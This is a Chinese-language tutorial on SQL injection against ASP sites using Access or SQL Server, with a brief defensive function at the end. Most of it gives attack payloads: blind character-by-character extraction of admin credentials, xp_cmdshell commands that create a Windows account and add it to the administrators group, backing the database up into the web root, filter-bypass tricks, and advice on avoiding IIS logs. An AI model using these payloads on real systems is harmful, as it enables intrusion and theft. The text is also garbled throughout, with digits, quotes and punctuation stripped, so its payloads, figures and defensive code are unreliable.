引 言
随着B/S模式应用开发的发展使用这种模式编写应用程序的程序员也越来越多但是由于这个行业的入门门槛不高程序员的水平及经验也参差不齐相当大一部分程序员在编写代码的时候没有对用户输入数据的合法性进行判断使应用程序存在安全隐患用户可以提交一段数据库查询代码根据程序返回的结果获得某些他想得知的数据这就是所谓的SQL Injection即SQL注入
SQL注入是从正常的WWW端口访问而且表面看起来跟一般的Web页面访问没什么区别所以目前市面的防火墙都不会对SQL注入发出警报如果管理员没查看IIS日志的习惯可能被入侵很长时间都不会发觉
但是SQL注入的手法相当灵活在注入的时候会碰到很多意外的情况能不能根据具体情况进行分析构造巧妙的SQL语句从而成功获取想要的数据是高手与菜鸟的根本区别
根据国情国内的网站用ASP+Access或SQLServer的占%以上PHP+MySQ占L%其他的不足%在本文我们从分入门进阶至高级讲解一下ASP注入的方法及技巧PHP注入的文章由NB联盟的另一位朋友zwell撰写希望对安全工作者和程序员都有用处了解 ASP注入的朋友也请不要跳过入门篇因为部分人对注入的基本判断方法还存在误区大家准备好了吗?Lets Go
入门篇
如果你以前没试过SQL注入的话那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉否则不论服务器返回什么错误IE都只显示为HTTP 服务器错误不能获得更多的提示信息
第一节SQL注入原理
以下我们从一个网站wwwmytestcom开始(注本文发表前已征得该站站长同意大部分都是真实数据)
在网站首页上有名为IE不能打开新窗口的多种解决方法的链接地址为http://wwwmytestcom/showdetailasp?id=我们在这个地址后面加上单引号服务器会返回下面的错误提示
Microsoft JET Database Engine 错误 e
字符串的语法错误 在查询表达式 ID= 中
/showdetailasp行
从这个错误提示我们能看出下面几点
网站使用的是Access数据库通过JET引擎连接数据库而不是通过ODBC
程序没有判断客户端提交的数据是否符合程序要求
该SQL语句所查询的表中有一名为ID的字段
从上面的例子我们可以知道SQL注入的原理就是从客户端提交特殊的代码从而收集程序及服务器的信息从而获取你想到得到的资料
第二节判断能否进行SQL注入
看完第一节有一些人会觉得我也是经常这样测试能否注入的这不是很简单吗?
其实这并不是最好的方法为什么呢?
首先不一定每台服务器的IIS都返回具体错误提示给客户端如果程序中加了cint(参数)之类语句的话SQL注入是不会成功的但服务器同样会报错具体提示信息为处理 URL 时服务器上出错请和系统管理员联络
其次部分对SQL注入有一点了解的程序员认为只要把单引号过滤掉就安全了这种情况不为少数如果你用单引号测试是测不到注入点的
那么什么样的测试方法才是比较准确呢?答案如下
① http://wwwmytestcom/showdetailasp?id=
② http://wwwmytestcom/showdetailasp?id= ;and =
③ http://wwwmytestcom/showdetailasp?id= ;and =
这就是经典的==测试法了怎么判断呢?看看上面三个网址返回的结果就知道了
可以注入的表现
① 正常显示(这是必然的不然就是程序有错误了)
② 正常显示内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)或提示找不到记录(判断了rseof时)或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了①同样正常显示②和③一般都会有程序定义的错误提示或提示类型转换时出错
当然这只是传入参数是数字型的时候用的判断方法实际应用的时候会有字符型和搜索型参数我将在中级篇的SQL注入一般步骤再做分析
第三节判断数据库类型及注入方法
不同的数据库的函数注入方法都是有差异的所以在注入之前我们还要判断一下数据库的类型一般ASP最常搭配的数据库是Access和SQLServer网上超过%的网站都是其中之一
怎么让程序告诉你它使用的什么数据库呢?来看看
SQLServer有一些系统变量如果服务器IIS提示没关闭并且SQLServer返回错误提示的话那可以直接从出错信息获取方法如下
http://wwwmytestcom/showdetailasp?id= ;and user>
这句语句很简单但却包含了SQLServer特有注入方法的精髓我自己也是在一次无意的测试中发现这种效率极高的猜解方法让我看来看看它的含义首先前面的语句是正常的重点在and user>我们知道user是SQLServer的一个内置变量它的值是当前连接的用户名类型为nvarchar拿一个 nvarchar的值跟int的数比较系统会先试图将nvarchar的值转成int型当然转的过程中肯定会出错SQLServer的出错提示是将nvarchar值 abc 转换数据类型为 int 的列时发生语法错误呵呵abc正是变量user的值这样不废吹灰之力就拿到了数据库的用户名在以后的篇幅里大家会看到很多用这种方法的语句
顺便说几句众所周知SQLServer的用户sa是个等同Adminstrators权限的角色拿到了sa权限几乎肯定可以拿到主机的 Administrator了上面的方法可以很方便的测试出是否是用sa登录要注意的是如果是sa登录提示是将dbo转换成int的列发生错误而不是sa
如果服务器IIS不允许返回错误提示那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手Access和 SQLServer都有自己的系统表比如存放数据库中所有对象的表Access是在系统表[msysobjects]中但在Web环境下读该表会提示没有权限SQLServer是在表[sysobjects]中在Web环境下可正常读取
在确认可以注入的情况下使用下面的语句
http://wwwmytestcom/showdetailasp?id= ;and (select count(*) from sysobjects)>
http://wwwmytestcom/showdetailasp?id= ;and (select count(*) from msysobjects)>
如果数据库是SQLServer那么第一个网址的页面与原页面http://wwwmytestcom/showdetailasp?id= 是大致相同的而第二个网址由于找不到表msysobjects会提示出错就算程序有容错处理页面也与原页面完全不同
如果数据库用的是Access那么情况就有所不同第一个网址的页面与原页面完全不同第二个网址则视乎数据库设置是否允许读该系统表一般来说是不允许的所以与原网址也是完全不同大多数情况下用第一个网址就可以得知系统所用的数据库类型第二个网址只作为开启IIS错误提示时的验证
进阶篇
在入门篇我们学会了SQL注入的判断方法但真正要拿到网站的保密内容是远远不够的接下来我们就继续学习如何从数据库中获取想要获得的内容首先我们先看看SQL注入的一般步骤
第一节SQL注入的一般步骤
首先判断环境寻找注入点判断数据库类型这在入门篇已经讲过了
其次根据注入参数类型在脑海中重构SQL语句的原貌按参数类型主要分为下面三种
(A) ID= 这类注入的参数是数字型SQL语句原貌大致如下
Select * from 表名 where 字段=
注入的参数为ID= And [查询条件]即是生成语句
Select * from 表名 where 字段= And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型SQL语句原貌大致概如下
Select * from 表名 where 字段=连续剧
注入的参数为Class=连续剧 and [查询条件] and = 即是生成语句
Select * from 表名 where 字段=连续剧 and [查询条件] and =
© 搜索时没过滤参数的如keyword=关键字SQL语句原貌大致如下
Select * from 表名 where 字段like %关键字%
注入的参数为keyword= and [查询条件] and %= 即是生成语句
Select * from 表名 where字段like % and [查询条件] and %=%
接着将查询条件替换成SQL语句猜解表名例如
ID= And (Select Count(*) from Admin)>=
如果页面就与ID=的相同说明附加条件成立即表Admin存在反之即不存在(请牢记这种方法)如此循环直至猜到表名为止
表名猜出来后将Count(*)替换成Count(字段名)用同样的原理猜解字段名
有人会说这里有一些偶然的成分如果表名起得很复杂没规律的那根本就没得玩下去了说得很对这世界根本就不存在%成功的黑客技术苍蝇不叮无缝的蛋无论多技术多高深的黑客都是因为别人的程序写得不严密或使用者保密意识不够才有得下手
有点跑题了话说回来对于SQLServer的库还是有办法让程序告诉我们表名及字段名的我们在高级篇中会做介绍
最后在表名和列名猜解成功后再使用SQL语句得出字段的值下面介绍一种最常用的方法-Ascii逐字解码法虽然这种方法速度很慢但肯定是可行的方法
我们举个例子已知表Admin中存在username字段首先我们取第一条记录测试长度
http://wwwmytestcom/showdetailasp?id= ;and (select top len(username) from Admin)>
先说明原理如果top 的username长度大于则条件成立接着就是>>>这样测试下去一直到条件不成立为止比如>成立>不成立就是len(username)=
当然没人会笨得从一个个测试怎么样才比较快就看各自发挥了在得到username的长度后用mid(usernameN)截取第N位字符再asc(mid(usernameN))得到ASCII码比如
id= and (select top asc(mid(username)) from Admin)>
同样也是用逐步缩小范围的方法得到第位字符的ASCII码注意的是英文和数字的ASCII码在之间可以用折半法加速猜解如果写成程序测试效率会有极大的提高
第二节SQL注入常用函数
有SQL语言基础的人在SQL注入的时候成功率比不熟悉的人高很多我们有必要提高一下自己的SQL水平特别是一些常用的函数及命令
Accessasc(字符) SQLServerunicode(字符)
作用返回某字符的ASCII码
Accesschr(数字) SQLServernchar(数字)
作用与asc相反根据ASCII码返回字符
Accessmid(字符串NL) SQLServersubstring(字符串NL)
作用返回字符串从N个字符起长度为L的子字符串即N到N+L之间的字符串
Accessabc(数字) SQLServerabc (数字)
作用返回数字的绝对值(在猜解汉字的时候会用到)
AccessA between B And C SQLServerA between B And C
作用判断A是否界于B与C之间
第三节中文处理方法
在注入中碰到中文字符是常有的事有些人一碰到中文字符就想打退堂鼓了其实只要对中文的编码有所了解中文恐惧症很快可以克服
先说一点常识
Access中中文的ASCII码可能会出现负数取出该负数后用abs()取绝对值汉字字符不变
SQL Server中中文的ASCII为正数但由于是UNICODE的双位编码不能用函数ascii()取得ASCII码必须用函数unicode ()返回unicode值再用nchar函数取得对应的中文字符
了解了上面的两点后是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意猜解范围大一点外方法是没什么两样的
高级篇
看完入门篇和进阶篇后稍加练习破解一般的网站是没问题了但如果碰到表名列名猜不到或程序作者过滤了一些特殊字符怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇
第一节利用系统表注入SQLServer数据库
SQL Server是一个功能强大的数据库系统与操作系统也有紧密的联系这给开发者带来了很大的方便但另一方面也为注入者提供了一个跳板我们先来看看几个具体的例子
① http://Site/urlasp?id=;exec masterxp_cmdshell net user name password /add
分号;在SQLServer中表示隔开前后两句语句表示后面的语句为注释所以这句语句在SQLServer中将被分成两句执行先是Select出ID=的记录然后执行存储过程xp_cmdshell这个存储过程用于调用系统命令于是用net命令新建了用户名为name密码为password的windows的帐号接着
② http://Site/urlasp?id=;exec masterxp_cmdshell net localgroup name administrators /add
将新建的帐号name加入管理员组不用两分钟你已经拿到了系统最高权限!当然这种方法只适用于用sa连接数据库的情况否则是没有权限调用xp_cmdshell的
③ http://Site/urlasp?id= ;and db_name()>
前面有个类似的例子and user>作用是获取连接用户名db_name()是另一个系统变量返回的是连接的数据库名
④ http://Site/urlasp?id=;backup database 数据库名 to disk=c:\inetpub\wwwroot\db;
这是相当狠的一招从③拿到的数据库名加上某些IIS出错暴露出的绝对路径将数据库备份到Web目录下面再用HTTP把整个数据库就完完整整的下载回来所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候还可以备份到网络地址的方法(如\\xxxx\Share \db)但成功率不高
⑤ http://Site/urlasp?id= ;and (Select Top name from sysobjects where xtype=U and status>)>
前面说过sysobjects是SQLServer的系统表存储着所有的表名视图约束及其它对象xtype=U and status>表示用户建立的表名上面的语句将第一个表名取出与比较大小让报错信息把表名暴露出来第二第三个表名怎么获取?还是留给我们聪明的读者思考吧
⑥ http://Site/urlasp?id= ;and (Select Top col_name(object_id(表名)) from sysobjects)>
从⑤拿到表名后用object_id(表名)获取表名对应的内部IDcol_name(表名ID)代表该表的第个字段名将换成就可以逐个获取所猜解表里面的字段名
以上点是我研究SQLServer注入半年多以来的心血结晶可以看出对SQLServer的了解程度直接影响着成功率及猜解速度在我研究SQLServer注入之后我在开发方面的水平也得到很大的提高呵呵也许安全与开发本来就是相辅相成的吧
第二节绕过程序限制继续注入
在入门篇提到有很多人喜欢用号测试注入漏洞所以也有很多人用过滤号的方法来防止注入漏洞这也许能挡住一些入门者的攻击但对SQL注入比较熟悉的人还是可以利用相关的函数达到绕过程序限制的目的
在SQL注入的一般步骤一节中我所用的语句都是经过我优化让其不包含有单引号的在利用系统表注入SQLServer数据库中有些语句包含有号我们举个例子来看看怎么改造这些语句
简单的如where xtype=U字符U对应的ASCII码是所以可以用where xtype=char()代替如果字符是中文的比如where name=用户可以用where name=nchar()+nchar()代替
第三节经验小结
有些人会过滤SelectUpdateDelete这些关键字但偏偏忘记区分大小写所以大家可以用selecT这样尝试一下
在猜不到字段名时不妨看看网站上的登录表单一般为了方便起见字段名都与表单的输入框取相同的名字
特别注意地址栏的+号传入程序后解释为空格%B解释为+号%解释为%号具体可以参考URLEncode的相关介绍
用Get方法注入时IIS会记录你所有的提交字符串对Post方法做则不记录所以能用Post的网址尽量不用Get
猜解Access时只能用Ascii逐字解码法SQLServer也可以用这种方法只需要两者之间的区别即可但是如果能用SQLServer的报错信息把值暴露出来那效率和准确率会有极大的提高
防范方法
SQL注入漏洞可谓是千里之堤溃于蚁穴这种漏洞在网上极为普遍通常是由于程序员对注入不了解或者程序过滤不严格或者某个参数忘记检查导致在这里我给大家一个函数代替ASP中的Request函数可以对一切的SQL注入Say NO函数如下
Function SafeRequest(ParaNameParaType)
传入参数
ParaName:参数名称字符型
ParaType:参数类型数字型(表示以上参数是数字表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType= then
If not isNumeric(ParaValue) then
Responsewrite 参数 & ParaName & 必须为数字型!
Responseend
End if
Else
ParaValue=replace(ParaValue)
End if
SafeRequest=ParaValue
End function
文章到这里就结束了不管你是安全人员技术爱好者还是程序员我都希望本文能对你有所帮助